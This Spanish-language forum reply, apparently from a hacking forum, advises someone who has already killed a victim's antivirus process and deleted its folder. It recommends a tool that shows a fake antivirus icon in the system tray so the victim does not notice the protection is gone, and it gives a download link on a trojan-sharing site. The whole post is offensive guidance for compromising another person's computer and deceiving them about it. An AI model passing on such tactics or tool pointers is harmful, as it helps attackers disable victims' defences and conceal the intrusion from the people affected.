Explikamelo mejor BlOcKeAdO.
Te lo explico:
Esta bien que quieras hacer desaparecer el antivirus. Con eso tienes via libre en el pc. Bien.
Una vez matado el proceso del antivirus, y aun mas si quieres, habiendo hecho desaparecer la carpeta con los archivos necesarios para el funcionamiento del antivirus, necesitaras dejar el trabajo bien hecho y que la victima no sospeche que ha desaparecido su antivirus cada vez que inicie su pc ¿verdad?.
Para esto conozco un programa que añade un falso icono de antivirus en el systray del pc, asi cada vez que se incie el pc, se mostrara el icono, como si no hubiera pasado nada a su antivirus. Esto es meramente visual, ya que si buscara la carpeta del antivirus, no estara y si ejecutara el icono no hara nada, pero seguria viendo el icono.
Lo puedes descargar de aqui:
http://www.trojanfrance.com/index.php?dir=Killer/&file=IconPack%20v2.0.zipP.D.:Creo que no tiene soporte para todos los antivirus, lee el readme si incluye y te dira que antivirus simula.